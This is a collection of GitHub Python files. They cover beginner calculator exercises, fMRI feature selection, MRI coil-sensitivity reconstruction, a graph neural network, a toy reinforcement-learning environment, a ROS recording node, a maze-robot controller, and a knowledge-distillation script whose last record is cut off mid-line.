{"seq_id":"72926668261","text":"\nprint(\"Hello World\")\n\n#Задача 1. Таблица умножения: возвращение\n#Математик Паша постепенно начал становиться программистом Пашей, правда  интернет ему не оплатили, а компьютер настолько древний, что просто не тянет никакие среды разработки. Поэтому он начал разбираться, как можно писать программы, используя только возможности операционной системы. \n\n#Напишите простую программу, которая выводит на экран таблицу умножения. Используйте только консоль и текстовый редактор.\n\ns1 = int(input(\"Enter the biggest number: \"))\n\nfor i in range(1, s1 + 1):\n     for j in range(i, i * s1 + 1, i):\n         print(j, end='\\t')\n     print()\n\n#Задача 2. Калькулятор\n#Напишите программу калькулятор. Пользователь вводит два числа A и B и действие X (плюс, минус, умножить, разделить). Программа выводит результат в виде A X B = C, где C — результат этого действия над числами A и B. Используйте только консоль и текстовый редактор. #Обеспечьте контроль ввода.\n\n#Пример работы программы в консоли:\n#Выберите операцию: +\n#Введите первое число: 5\n#Введите второе число: 6\n\n#5 + 6 = 11\n\n\n#Пример работы программы в консоли 2:\n#Выберите операцию: №\n#Ошибка: такой операции не существует. Попробуйте ещё раз.\n#Выберите операцию: -\n#Введите первое число: 5\n#Введите второе число: 6\n\n#5 - 6 = -1\n\n\n# A function to check if numbers are entered correctly:\n\ndef input_number(prompt):\n    while True:\n        try:\n            number = float(input(prompt))\n            return number\n        except ValueError:\n            print(\"Error: Enter a number. \")\n\n# Enter the number A and B\na = input_number(\"Enter a number A: \")\nb = input_number(\"Enter a number B: \")\n\n# Enter an action:\n\nwhile True:\n    x = input(\"Enter an action (+, -, *, /): \")\n    if x in ['+', '-', '*', '/']:\n        break\n    else:\n        print(\"Error: Enter the correct action (+, -, *, /).\")\n\n# Result calculating and input on a screen:\n\nif x == '+':\n    c = a + b\nelif x == '-':\n    c = a - b\nelif x == '*':\n    c = a * b\nelse:\n    c = a / b\n\nprint(\"{} {} {} = {}\".format(a, x, b, c))\n\n#Задача 3.\n\ndef input_number(prompt):\n    while True:\n        try:\n            number = float(input(prompt))\n            return number\n        except ValueError:\n            print(\"Ошибка: введите число.\")\n\n# Ввод действия X\nwhile True:\n    x = input(\"Введите действие (+, -, *, /): \")\n    if x in ['+', '-', '*', '/']:\n        break\n    print(\"Ошибка: введите корректное действие (+, -, *, /).\")\n\n# Ввод количества операндов\nwhile True:\n    num_operands = int(input(\"Введите количество операндов: \"))\n    if num_operands >= 2:\n        break\n    print(\"Ошибка: количество операндов должно быть больше 1.\")\n\n# Ввод операндов\noperands = []\nfor i in range(num_operands):\n    operand = input_number(\"Введите операнд {}: \".format(i+1))\n    operands += [operand]\n\n# Вычисление результата и вывод на экран\nif x == '+':\n    c = sum(operands)\nelif x == '-':\n    c = operands[0] - sum(operands[1:])\nelif x == '*':\n    c = 1\n    for operand in operands:\n        c *= operand\nelse:\n    c = operands[0] / (operands[1] * operands[2] * ... * operands[n-1])\n\noperands_str = str(operands[0])\nfor i in range(1, num_operands):\n    operands_str += \"+\"\n    operands_str += str(operands[i])\n\nprint(\"{} = {}\".format(operands_str, c))","repo_name":"DanyaSmi/skillbox_analyst_2.0","sub_path":"Lesson03.py","file_name":"Lesson03.py","file_ext":"py","file_size_in_byte":4318,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71346251620","text":"import os\nimport csv\nimport numpy as np\nimport scipy.io as sio\n# import bct\nfrom sklearn.linear_model import RidgeClassifier\nfrom sklearn.feature_selection import RFE\nfrom sklearn.linear_model import ElasticNet\n# from nilearn import connectome\nfrom scipy import stats\n#from sklearn.feature_selection import SelectFromModel\n#from sklearn.linear_model import LassoCV\nfrom sklearn import linear_model\nimport pickle\n# import tensorflow as tf\nimport shutil\nimport json\nfrom tempfile import mkdtemp\n# from tqdm import tqdm\nfrom joblib import Parallel, delayed\n# import depmeas\n# Reading and computing the input data\n# Selected pipeline\n#pipeline = 'cpac'\nseed = 123 #123\nnp.random.seed(seed)\n# tf.set_random_seed(seed)\n\n'''input: (subs, sequences, features) \nselect features and return selected features idx'''\n\n\ndef feature_selection(matrix, labels, fnum):\n    \"\"\"\n        matrix       : feature matrix (num_subjects x num_features)\n        labels       : ground truth labels (num_subjects x 1)\n        train_ind    : indices of the training samples\n        fnum         : size of the feature vector after feature selection\n    return:\n        x_data      : feature matrix of lower dimension (num_subjects x fnum)\n    \"\"\"\n    estimator = RidgeClassifier()\n    selector = RFE(estimator, fnum, step=100, verbose=1)\n    # featureX = matrix\n    # featureY = labels\n    featureX = matrix.view(-1, matrix.shape[2])\n    matrix_ = featureX\n    featureY = np.repeat(labels, matrix.shape[1])\n    selector = selector.fit(featureX, featureY)\n    x_data = selector.transform(matrix_)\n    a = np.array(selector.get_support())\n    selected_features = np.where(a == 1)[0]\n    # print(\"Number of labeled samples %d\" % len(train_ind))\n    # print(\"Number of features selected %d\" % x_data.shape[1])\n    return x_data, selected_features\n\ndef ttest_feature_selection(matrix, labels):\n    trainNormal_idx = np.where(labels == 0)[0]\n    trainPatient_idx = np.where(labels == 1)[0]\n    # trainNormal_idx = np.where(labels[train_ind] == 1)[0]\n    # trainPatient_idx = np.where(labels[train_ind] == 2)[0]\n    matrix1 = matrix[trainNormal_idx,:].view(-1, matrix.shape[2])\n    matrix2 = matrix[trainPatient_idx,:].view(-1, matrix.shape[2])\n    tTestResult = stats.ttest_ind(matrix1, matrix2, equal_var=False)  # two tail t-test\n    # selectedFeatures = np.where(tTestResult.pvalue < 0.01)[0]\n    selectedFeatures = np.where(tTestResult.pvalue < 0.00001)[0]\n    ###################################\n    # x_data = matrix[..., selectedFeatures]\n    # file_path = '/home/jiyeon/DATA2/interplet_GCN_final/ADAI/for_present/dAD_nAD/fmri_featureIdx_%d.npy' % (cv)\n    # file_path2 = '/home/jiyeon/DATA2/interplet_GCN_final/ADAI/for_present/dAD_nAD/fmri_featureIdx_%d_p_val.npy' % (cv)\n    # directory = os.path.dirname(file_path)\n    # if not os.path.exists(directory):\n    #     os.makedirs(directory)\n    # sio.savemat(file_path2, {'p_val': tTestResult.pvalue})\n    # sio.savemat(file_path, {'selectedFeatures': list(selectedFeatures)})\n    # np.save(file_path2,tTestResult.pvalue)\n    # np.save(file_path,selectedFeatures)\n    return selectedFeatures\n\ndef lasso_feature_selection(matrix, labels):\n    #clf = linear_model.Lasso(alpha=0.0001)\n    #clf = linear_model.Lasso(alpha=0.0003)\n    #clf = linear_model.Lasso(alpha=0.0006)\n    # clf = linear_model.Lasso(alpha=0.001)\n    #clf = linear_model.Lasso(alpha=0.003)\n    #clf = linear_model.Lasso(alpha=0.006)\n    clf = linear_model.Lasso(alpha=0.01)\n    # clf = linear_model.Lasso(alpha=0.03)\n    #clf = linear_model.Lasso(alpha=0.06)\n    matrix_=matrix.view(-1, matrix.shape[2])\n    labels_=np.repeat(labels, matrix.shape[1])\n    clf.fit(matrix_, labels_)\n    selectedFeaturesIdx = np.where(clf.coef_ != 0)[0]\n    # x_data = matrix_[..., selectedFeaturesIdx]\n    return selectedFeaturesIdx\n\ndef ElasticNet_feature_selection(matrix, labels):\n    # regr = ElasticNet(random_state=0, alpha=0.00001)\n    # regr = ElasticNet(random_state=0, alpha=0.00003)\n    # regr = ElasticNet(random_state=0, alpha=0.00006)\n    # regr = ElasticNet(random_state=0, alpha=0.0001)\n    # regr = ElasticNet(random_state=0, alpha=0.0003)\n    # regr = ElasticNet(random_state=0, alpha=0.0006)\n    # regr = ElasticNet(random_state=0, alpha=0.001)\n    # regr = ElasticNet(random_state=0, alpha=0.003)\n    # regr = ElasticNet(random_state=0, alpha=0.006)\n    regr = ElasticNet(random_state=0, alpha=0.02)\n    # regr = ElasticNet(random_state=0, alpha=0.03)\n    # regr = ElasticNet(random_state=0, alpha=0.06)\n    matrix_ = matrix.view(-1, matrix.shape[2])\n    labels_ = np.repeat(labels, matrix.shape[1])\n    regr.fit(matrix_, labels_)\n    selectedFeaturesIdx = np.where(regr.coef_ != 0)[0]\n    # x_data = matrix[:, selectedFeaturesIdx]\n    return selectedFeaturesIdx","repo_name":"ku-milab/Meta-Modulation-GenM","sub_path":"process_data/feature_selection.py","file_name":"feature_selection.py","file_ext":"py","file_size_in_byte":4753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37795461015","text":"# nlinvns\r\n# % Written and invented\r\n# % by Martin Uecker <muecker@gwdg.de> in 2008-09-22\r\n# %\r\n# % Modifications by Tilman Sumpf 2012 <tsumpf@gwdg.de>:\r\n# %\t- removed fftshift during reconstruction (ns = \"no shift\")\r\n# %\t- added switch to return coil profiles\r\n# %\t- added switch to force the image estimate to be real\r\n# %\t- use of vectorized operation rather than \"for\" loops\r\n# %\r\n# % Version 0.1\r\n# %\r\n# % Biomedizinische NMR Forschungs GmbH am\r\n# % Max-Planck-Institut fuer biophysikalische Chemie\r\n# Adapted for Python by O. Maier\r\nimport numpy as np\r\nimport time\r\nimport pyfftw\r\n\r\n\r\ndef nlinvns(Y, n, returnProfiles=True, realConstr=False):\r\n    r\"\"\"\r\n    Compute coil sensitivity profiles using NLINV.\r\n\r\n    Args\r\n    ----\r\n      Y (numpy.array):\r\n        k-space data\r\n      n (int):\r\n        Number of linearization steps\r\n      returnProfiles (bool):\r\n        Return sensitivity profiles\r\n      realConstr (bool):\r\n        Real value constraint on the reconstructed image\r\n\r\n    Returns\r\n    -------\r\n      numpy.array\r\n        The estimated indensity corrected image (position 0)\\n\r\n        The estimated image without correction (position 1)\\n\r\n        The estimated coils if returnProfiles is True starting at\r\n        position 2 to end.\r\n    \"\"\"\r\n    print('Start...')\r\n\r\n    alpha = 1\r\n\r\n    [c, y, x] = Y.shape\r\n\r\n    if returnProfiles:\r\n        R = np.zeros([c + 2, n, y, x], complex)\r\n\r\n    else:\r\n        R = np.zeros([2, n, y, x], complex)\r\n\r\n    # initialization x-vector\r\n    X0 = np.array(np.zeros([c + 1, y, x]), np.complex64)\r\n    X0[0, :, :] = 1\r\n\r\n    # initialize mask and _weights\r\n    P = np.ones(Y[0, :, :].shape, dtype=np.complex64)\r\n    P[Y[0, :, :] == 0] = 0\r\n\r\n    W = _weights(x, y)\r\n\r\n    W = np.fft.fftshift(W, axes=(-2, -1))\r\n\r\n    # normalize data vector\r\n    y_scale = 100 / np.sqrt(_scal(Y, Y))\r\n    YS = Y * y_scale\r\n\r\n    XT = np.zeros([c + 1, y, x], dtype=np.complex64)\r\n    XN = np.copy(X0)\r\n\r\n    start = time.perf_counter()\r\n    for i in range(0, n):\r\n\r\n        # the application of the _weights matrix to XN\r\n        # is moved out of the operator and the derivative\r\n        XT[0, :, :] = np.copy(XN[0, :, :])\r\n        XT[1:, :, :] = _ap_weightsns(W, np.copy(XN[1:, :, :]))\r\n\r\n        RES = (YS - _opns(P, XT))\r\n\r\n        print(np.round(np.linalg.norm(RES)))\r\n\r\n        # calculate rhs\r\n        r = _derHns(P, W, XT, RES, realConstr)\r\n\r\n        r = np.array(r + alpha * (X0 - XN), dtype=np.complex64)\r\n\r\n        z = np.zeros_like(r)\r\n        d = np.copy(r)\r\n        dnew = np.linalg.norm(r)**2\r\n        dnot = np.copy(dnew)\r\n\r\n        for j in range(0, 500):\r\n\r\n            # regularized normal equations\r\n            q = _derHns(P, W, XT, _derns(P, W, XT, d), realConstr) + alpha * d\r\n            np.nan_to_num(q)\r\n\r\n            a = dnew / np.real(_scal(d, q))\r\n            z = z + a * (d)\r\n            r = r - a * q\r\n            np.nan_to_num(r)\r\n            dold = np.copy(dnew)\r\n            dnew = np.linalg.norm(r)**2\r\n\r\n            d = d * ((dnew / dold)) + r\r\n            np.nan_to_num(d)\r\n            if (np.sqrt(dnew) < (1e-2 * dnot)):\r\n                break\r\n\r\n        print('(', j, ')')\r\n\r\n        XN = XN + z\r\n\r\n        alpha = alpha / 3\r\n\r\n        # postprocessing\r\n\r\n        CR = _ap_weightsns(W, XN[1:, :, :])\r\n\r\n        if returnProfiles:\r\n            R[2:, i, :, :] = CR / y_scale\r\n\r\n        C = (np.conj(CR) * CR).sum(0)\r\n\r\n        R[0, i, :, :] = (XN[0, :, :] * np.sqrt(C) / y_scale)\r\n        R[1, i, :, :] = np.copy(XN[0, :, :])\r\n\r\n    R = (R)\r\n    end = time.perf_counter()  # sec.process time\r\n    print('done in', round((end - start)), 's')\r\n    return R\r\n\r\n\r\ndef _scal(a, b):\r\n    v = np.array(np.sum(np.conj(a) * b), dtype=np.complex64)\r\n    return v\r\n\r\n\r\ndef _ap_weightsns(W, CT):\r\n    C = _nsIfft(W * CT)\r\n    return C\r\n\r\n\r\ndef _ap_weightsnsH(W, CT):\r\n    C = np.conj(W) * _nsFft(CT)\r\n    return C\r\n\r\n\r\ndef _opns(P, X):\r\n    K = np.array(X[0, :, :] * X[1:, :, :], dtype=np.complex64)\r\n    K = np.array(P * _nsFft(K), dtype=np.complex64)\r\n    return K\r\n\r\n\r\ndef _derns(P, W, X0, DX):\r\n    K = X0[0, :, :] * _ap_weightsns(W, DX[1:, :, :])\r\n    K = K + (DX[0, :, :] * X0[1:, :, :])\r\n    K = P * _nsFft(K)\r\n    return K\r\n\r\n\r\ndef _derHns(P, W, X0, DK, realConstr):\r\n    K = _nsIfft(P * DK)\r\n\r\n    if realConstr:\r\n        DXrho = np.sum(np.real(K * np.conj(X0[1:, :, :])), 0)\r\n    else:\r\n        DXrho = np.sum(K * np.conj(X0[1:, :, :]), 0)\r\n\r\n    DXc = _ap_weightsnsH(W, (K * np.conj(X0[0, :, :])))\r\n    DX = np.array(np.concatenate(\r\n        (DXrho[None, ...], DXc), axis=0), dtype=np.complex64)\r\n    return DX\r\n\r\n\r\ndef _nsFft(M):\r\n    si = M.shape\r\n    a = 1 / (np.sqrt((si[M.ndim - 1])) * np.sqrt((si[M.ndim - 2])))\r\n    K = np.array((pyfftw.interfaces.numpy_fft.fft2(\r\n        M, norm=None)).dot(a), dtype=np.complex64)\r\n    return K\r\n\r\n\r\ndef _nsIfft(M):\r\n    si = M.shape\r\n    a = np.sqrt(si[M.ndim - 1]) * np.sqrt(si[M.ndim - 2])\r\n    K = np.array(pyfftw.interfaces.numpy_fft.ifft2(M, norm=None).dot(a))\r\n    return K  # .T\r\n\r\n\r\ndef _weights(x, y):\r\n    W = np.zeros([x, y])\r\n    for i in range(0, x):\r\n        for j in range(0, y):\r\n            d = ((i) / x - 0.5)**2 + ((j) / y - 0.5)**2\r\n            W[j, i] = 1 / (1 + 220 * d)**16\r\n    return W\r\n","repo_name":"ISMRM/rrsg_challenge_01","sub_path":"python/rrsg_cgreco/_helper_fun/nlinvns.py","file_name":"nlinvns.py","file_ext":"py","file_size_in_byte":5230,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"35"}
{"seq_id":"38600050774","text":"from typing import Any, Callable, Dict\n\nimport haiku as hk\nimport jax\nimport jax.numpy as jnp\nimport jraph\nimport numpy as np\n\nfrom modules.gatedgcn import GatedGCNLayer\nfrom modules.gatedgcn_lspe import GatedGCNLSPELayer\nfrom modules.mlp_readout import MLPReadout\nfrom lib.debug import HaikuDebug\nfrom modules.multi_embedder import MultiEmbedder\nfrom types_and_aliases import GraphClassifierInput, GraphClassifierOutput\n\n\ndef gated_gcn_net(net_params, h_encoder, e_encoder, task_out_dim, graph: jraph.GraphsTuple,\n                  is_training: bool, debug: bool = False) -> GraphClassifierOutput:\n  in_feat_dropout = net_params['in_feat_dropout']\n  hidden_dim = net_params['hidden_dim']\n  out_dim = net_params['out_dim']\n  dropout = net_params['dropout']\n  n_layers = net_params['L']\n  readout = net_params['readout']\n  graph_norm = net_params['graph_norm']\n  residual = net_params['residual']\n  pe_init = net_params['pe_init']\n  mask_batch_norm = net_params['mask_batch_norm']\n  weight_on_edges = net_params['weight_on_edges']\n\n  pos_enc_dim = net_params['pos_enc_dim']\n  \"\"\"A gatedGCN model.\"\"\"\n  nodes, edges, receivers, senders, globals, n_node, n_edge = graph\n  HaikuDebug(\"input_graph\", enable=debug)(graph)\n  sum_n_node = nodes['feat'].shape[0]\n  num_graphs = n_node.shape[0]\n\n  HaikuDebug(\"unencoded_h\", enable=debug)(nodes['feat'])\n  h = h_encoder(nodes['feat'])\n  HaikuDebug(\"h_encoded\", enable=debug)(h)\n  if is_training:\n    h = hk.dropout(hk.next_rng_key(), in_feat_dropout, h)\n\n  if pe_init == \"lap_pe\":\n    # Combine the node features and the Laplacian PE in the embedding space\n    h += hk.Linear(hidden_dim, name=\"pe_embedding\")(nodes['pe'])\n    pass\n  elif pe_init == \"rand_walk\":\n    p = hk.Linear(hidden_dim, name=\"pe_embedding\")(nodes['pe'])\n    nodes = nodes | {'pos': p}\n\n  e = e_encoder(edges['feat'])\n  HaikuDebug(\"e_encoded\", enable=debug)(e)\n\n  nodes = nodes | {'feat': h}\n  edges = edges | {'feat': e}\n  updated_graph = jraph.GraphsTuple(\n      nodes=nodes,\n      edges=edges,\n      receivers=receivers,\n      senders=senders,\n      n_node=n_node,\n      n_edge=n_edge,\n      globals=globals)\n\n  layer_args = {'output_dim': hidden_dim, 'residual': residual,\n                'dropout': dropout, 'mask_batch_norm': mask_batch_norm, 'graph_norm': graph_norm, 'weight_on_edges': weight_on_edges}\n  final_layer_args = layer_args | {'output_dim': out_dim}\n\n  HaikuDebug(\"before_layers_updated_graph\", enable=debug)(updated_graph)\n  if pe_init == 'rand_walk':\n    for _ in range(n_layers - 1):\n      updated_graph = GatedGCNLSPELayer(\n        **layer_args)(updated_graph, is_training=is_training)\n    updated_graph = GatedGCNLSPELayer(\n      **final_layer_args)(updated_graph, is_training=is_training)\n  else:\n    for _ in range(n_layers - 1):\n      updated_graph = GatedGCNLayer(\n        **layer_args)(updated_graph, is_training=is_training)\n    updated_graph = GatedGCNLayer(\n      **final_layer_args)(updated_graph, is_training=is_training)\n\n  nodes, edges, _, _, _, _, _ = updated_graph\n\n  HaikuDebug(\"updated_graph\", enable=debug)(updated_graph)\n  h = nodes['feat']\n\n  graph_indicies = jnp.repeat(\n      jnp.arange(\n          n_node.shape[0]),\n      n_node,\n      total_repeat_length=sum_n_node)\n\n  if pe_init == 'rand_walk':\n    p = nodes['pos']\n    p = hk.Linear(pos_enc_dim, name=\"pe_out\")(p)\n    p = jraph.segment_normalize(p, graph_indicies, num_segments=num_graphs)\n    h = hk.Linear(out_dim, name=\"Whp\")(jnp.concatenate([h, p], axis=1))\n    nodes = nodes | {'final_p': p, 'final_h': h}\n\n  # readout\n  HaikuDebug(\"graph_indicies\", enable=debug)(graph_indicies)\n  if readout == 'sum':\n    hg = jraph.segment_sum(h, graph_indicies, num_segments=num_graphs)\n  elif readout == 'max':\n    hg = jraph.segment_max(h, graph_indicies, num_segments=num_graphs)\n  else:\n    # mean\n    hg = jraph.segment_mean(h, graph_indicies, num_segments=num_graphs)\n  hg = jnp.nan_to_num(hg)\n  HaikuDebug(\"hg\", enable=debug)(hg)\n  mlp_result = MLPReadout(input_dim=out_dim, output_dim=task_out_dim)(hg)\n  HaikuDebug(\"mlp_result\", enable=debug)(mlp_result)\n\n  updated_graph = updated_graph._replace(globals=hg, nodes=nodes)\n  return jnp.squeeze(mlp_result), updated_graph\n\n\ndef zinc_model(task_dims: Dict[str, Any], net_params: Dict[str, Any],\n               debug: bool = False) -> Callable[GraphClassifierInput, GraphClassifierOutput]:\n\n  assert(len(task_dims['atom']) == 1) and (len(task_dims['bond']) == 1)\n  num_atom_type = task_dims['atom'][0]\n  num_bond_type = task_dims['bond'][0]\n  hidden_dim = net_params['hidden_dim']\n\n  def net(graph: jraph.GraphsTuple,\n          is_training: bool) -> GraphClassifierOutput:\n    h_encoder = hk.Embed(vocab_size=num_atom_type, embed_dim=hidden_dim)\n    e_encoder = hk.Embed(vocab_size=num_bond_type, embed_dim=hidden_dim)\n    task_out_dim = 1\n    return gated_gcn_net(net_params, h_encoder, e_encoder, task_out_dim, graph, is_training, debug=debug)\n  return net\n\n\ndef moltox21_model(task_dims: Dict[str, Any], net_params: Dict[str, Any], debug: bool = False) -> Callable[GraphClassifierInput, GraphClassifierOutput]:\n\n  glorot_uniform = hk.initializers.VarianceScaling(1.0, \"fan_avg\", \"uniform\")\n  hidden_dim = net_params['hidden_dim']\n  task_out_dim = task_dims['classes']\n\n  def net(graph: jraph.GraphsTuple, is_training: bool) -> GraphClassifierOutput:\n    h_encoder = MultiEmbedder(\n      task_dims['atom'], hidden_dim, w_init=glorot_uniform)\n    e_encoder = MultiEmbedder(\n      task_dims['bond'], hidden_dim, w_init=glorot_uniform)\n    return gated_gcn_net(net_params, h_encoder, e_encoder, task_out_dim, graph, is_training, debug=debug)\n  return net\n","repo_name":"printlnHi/gnn-lspe-jax","sub_path":"nets.py","file_name":"nets.py","file_ext":"py","file_size_in_byte":5610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70614282340","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\n##Importing general libraries\nimport numpy as np\nimport random\n#game environment libraries\nfrom gym import Env\nfrom gym.spaces import Box, Discrete\n#deep larning libraries\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Dense, Flatten\nfrom tensorflow.keras.optimizers import Adam\n#libraries for reinforced learning\nfrom rl.agents import DQNAgent\nfrom rl.policy import BoltzmannQPolicy\nfrom rl.memory import SequentialMemory\n\n\n\n###############     Creating custom reinforced learning environment     ###############\nclass CustomEnv(Env):\n    def __init__(self):\n        self.action_space = Discrete(3)  #for battleship will probably make this a set of 2 coordinates, each, from 0-10\n        self.observation_space = Box(low=np.array([0]), high=np.array([100])) #will probably hold the battlefield here\n        self.state = 38 + random.randint(-3, 3)\n        self.shower_length = 60  #for battleship this will probably hold the max ammount of turns, in case no one wins\n        \n        \n    #the step function defines what should be done after taking an action in our game\n    def step(self, action):\n        self.state = self.state + action -1\n        self.shower_length -= 1\n        \n        #Calculating reward\n        if self.state >= 37 and self.state <=39:\n            reward = 1\n        else:\n            reward = -1\n            \n        #Checking if shower is done\n        if self.shower_length <=0:\n            done = True\n        else:\n            done = False\n            \n        #Setting placeholder for info\n        info = {}\n        \n        return self.state, reward, done, info\n    \n    def render(self):\n        #this is where you should write the visualiozation code\n        return 0\n        \n    def reset(self):\n        self.state = 38 + random.randint(-3, 3)\n        self.shower_length = 60\n        return self.state\n    \n    \nenv = CustomEnv()\n\nepisodes = 20\nfor episode in range(1, episodes+1):\n    state = env.reset()\n    done = False\n    score = 0\n    \n    while not done:\n        action = env.action_space.sample()\n        n_state, reward, done, info = env.step(action)\n        score += reward\n    print(\"Episode:{} Score:{}\".format(episode, score))\n        \n        \n        \n        \n###############     Creating simple Deep Learning model     ###############\n\nstates = env.observation_space.shape\nactions = env.action_space.n\n\ndef build_model(states, actions):\n    model = Sequential()\n    model.add(Dense(24,activation=\"relu\", input_shape=states))\n    model.add(Dense(24, activation=\"relu\"))\n    model.add(Dense(actions, activation=\"linear\"))\n    return model\n\n\nmodel = build_model(states, actions)\n\nmodel.summary()\n\n        \n        \n        \n###############     Creating the agent with Keras-ReinforcementLearning     ###############\n\ndef build_agent(model, actions):\n    policy = BoltzmannQPolicy()\n    memory = SequentialMemory(limit = 50000, window_length=1)\n    dqn = DQNAgent(model=model, memory = memory, policy=policy,\n                   nb_actions=actions, nb_steps_warmup=10, target_model_update=1e-2)\n    return dqn\n\ndqn = build_agent(model, actions)\ndqn.compile(Adam(lr=1e-3), metrics=[\"mae\"])\ndqn.fit(env, nb_steps=60000, visualize=False, verbose = 1)\n\n\nresults = dqn.test(env, nb_episodes=150, visualize=False)\nprint(np.mean(results.history[\"episode_reward\"]))\n\n\n\n\n\n\n\n\n        \n        \n        \n        \n        \n        \n        \n        \n        ","repo_name":"tuliotorezan/BattleshipAI","sub_path":"FirstPractice.py","file_name":"FirstPractice.py","file_ext":"py","file_size_in_byte":3510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11039249664","text":"#!/usr/bin/python\n\nimport rospy\nfrom geometry_msgs.msg import PoseStamped, PoseWithCovarianceStamped\nfrom sensor_msgs.msg import Image, CameraInfo\nfrom std_msgs.msg import Bool\n\nclass RecordExperiment():\n  def __init__(self):\n    rospy.init_node('record_experiment')\n    \n    self.recording = False\n\n    self.setpoint_pub = rospy.Publisher('/record/desired_pose',PoseStamped,queue_size=1)\n    self.info_pub = rospy.Publisher('/record/camera_info',CameraInfo,queue_size=1)\n    self.image_pub = rospy.Publisher('/record/image_raw',Image,queue_size=1)\n    self.pose_pub = rospy.Publisher('/record/estimated_pose',PoseWithCovarianceStamped,queue_size=1)\n    \n    rospy.Subscriber('/recording',Bool,self.recording_callback,queue_size=1)\n    \n    rospy.Subscriber('/desired_pose',PoseStamped,self.setpoint_callback,queue_size=1)\n    rospy.Subscriber('/usb_cam/camera_info',CameraInfo,self.info_callback,queue_size=1)\n    rospy.Subscriber('/usb_cam/image_raw',Image,self.image_callback,queue_size=1)\n    rospy.Subscriber('/monocular_pose_estimator/estimated_pose',PoseWithCovarianceStamped,self.pose_callback,queue_size=1)\n\n  def run(self):\n    while not rospy.is_shutdown():\n      rospy.spin()\n\n  def recording_callback(self,msg):\n    self.recording = msg.data\n\n  def info_callback(self,msg):\n    if self.recording:\n      self.info_pub.publish(msg)\n\n  def image_callback(self,msg):\n    if self.recording:\n      self.image_pub.publish(msg)\n\n  def pose_callback(self,msg):\n    if self.recording:\n      self.pose_pub.publish(msg)\n\n  def setpoint_callback(self,msg):\n    if self.recording:\n      self.setpoint_pub.publish(msg)\n  \nif __name__ == '__main__':\n  re = RecordExperiment()\n  re.run()\n","repo_name":"abuchan/rpg_monocular_pose_estimator","sub_path":"monocular_pose_estimator/src/record_experiment.py","file_name":"record_experiment.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"20483336668","text":"from simpleMotor import SimpleMotor\nfrom lineTrackerInterface import TrackerInterface\nfrom movementRecorder import MovementRecorder\nfrom lookAhead import LookAhead\nfrom lineSeeker import LineSeeker\nimport time\n\n'''\nClass to run the robot in the learning stage.\nFollows line with the tracker.\nWhen it comes off line, then it tries to come back to the line again.\nIf it can't find the line, it assumes a dead end and makes a uturn.\nLooks ahead when there is a right turn option w/o a left turn option, to find out if there is a straight line. \nIf there is a straight line, it records it, if not it goes back and makes a right turn.\n\n'''\nclass LearningController:\n    #Instanciate the controller\n    def __init__(self,motor,tracker):\n        self.motor = motor\n        self.tracker = tracker\n        self.recorder = MovementRecorder()\n        self.lookAhead = LookAhead(motor,tracker)\n        self.seeker = LineSeeker(motor,tracker)\n\n    '''\n    Runs the controller\n    '''\n    def run(self):\n        while not self.tracker.onFinishField():\n            if self.tracker.isOnLine():\n                if self.tracker.hasLeft() and not self.tracker.onFinishField():\n                    isIntersection = self.tracker.hasRight()\n                    if not isIntersection:\n                        isIntersection = self.lookAhead.hasForward(True)\n                        while not self.tracker.hasLeft():\n                            self.motor.forward()\n                    self.motor.left()\n                    if isIntersection:\n                        self.recorder.left()\n                elif self.tracker.hasRight() and not self.tracker.onFinishField():\n                    if self.lookAhead.hasForward():\n                        self.recorder.straight()\n                    else:\n                        self.motor.right()\n                        #self.recorder.right()\n                elif not self.tracker.hasLeft() and not self.tracker.hasRight() and not self.tracker.onFinishField():\n                    self.motor.forward()\n                elif not self.tracker.hasLeft() and not self.tracker.hasRight() and self.tracker.onFinishField():\n                    self.motor.stop()\n                    return True\n            else:\n                if self.seeker.hasDetection():\n                    self.seeker.run()\n                else:\n                    time.sleep(6)\n                    if not self.tracker.isOnLine():\n                        self.motor.uturn()\n                        self.recorder.back()\n\n\n    '''\n        Returns the path driven.\n    '''\n    def getPath(self):\n        return self.recorder.getArray()\n\n\n","repo_name":"heyimjessy/maze_solver_robot","sub_path":"Maze Robot Code/learningController.py","file_name":"learningController.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26850768301","text":"\"\"\"\nCode for training via knowledge distillation on the CIFAR10 dataset.\n\"\"\"\nimport torch\nfrom torch import optim\nfrom torchvision.models import vgg16_bn\n\nfrom networks.student import StudentNet\nfrom utils.checkpoints import load_model_from_checkpoint\nfrom utils.init import initialize\nfrom utils.gpu_utils import get_gpu_if_available\nfrom utils.logs import save_dict_as_json\nfrom model_trainers.distillation_trainer import KnowledgeDistillationModelTrainer\nfrom utils.options import knowledge_distillation_options\n\n\ndef warm_up(epoch: int) -> float:  # Epochs are zero-indexed in schedulers by default. Different from my convention.\n    if epoch < 5:  # Linear warm-up to ease learning.\n        return (epoch + 1) / 5\n    elif epoch < 300:\n        return 1.\n    elif epoch < 350:\n        return 0.1\n    elif epoch < 375:\n        return 0.01\n    else:\n        return 0.001\n\n\ndef main(opt):\n    run_number, run_name, log_path, checkpoint_path = initialize(opt.record_path, train_method=opt.train_method)\n    device = get_gpu_if_available(gpu=opt.gpu)\n    print(f'Using device {device}.')\n\n    # The teacher and student model types and settings are fixed by the task.\n    # While best to set it with options, that would make it too hard to read.\n    student = StudentNet(in_channels=3, num_classes=10).to(device, non_blocking=True)\n    teacher = vgg16_bn(num_classes=10)  # Settings for CIFAR10 dataset.\n    load_model_from_checkpoint(model=teacher, load_dir=opt.teacher_checkpoint)\n    teacher = teacher.to(device, non_blocking=True)\n\n    optimizer = optim.SGD(params=student.parameters(), lr=opt.lr, momentum=opt.momentum,\n                          weight_decay=opt.weight_decay, nesterov=opt.nesterov)\n    scheduler = optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=warm_up)\n\n    # Saving options and extra information in json file for later 